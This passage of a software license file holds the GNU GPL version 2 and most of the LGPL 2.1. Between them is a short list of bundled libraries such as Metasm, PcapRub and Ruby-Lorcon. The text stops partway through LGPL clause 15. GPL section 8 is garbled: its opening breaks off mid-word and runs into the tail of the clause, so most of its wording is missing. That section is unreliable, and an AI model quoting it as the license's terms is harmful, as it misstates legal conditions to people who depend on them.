||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Prot holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
````
|
||||
|
||||
|
||||
|
||||
LGPL
|
||||
====
|
||||
- The Metasm library located under lib/metasm.
|
||||
Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
- The PcapRub library located under external/pcaprub
|
||||
- The Ruby-Lorcon library located under external/ruby-lorcon
|
||||
- Gem components located under lib/gemcache/
|
||||
* coderay - Copyright (c) 2006-2011 by murphy (Kornelius Kalnbach) <murphy rubychan de>
|
||||
|
||||
|
||||
````
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
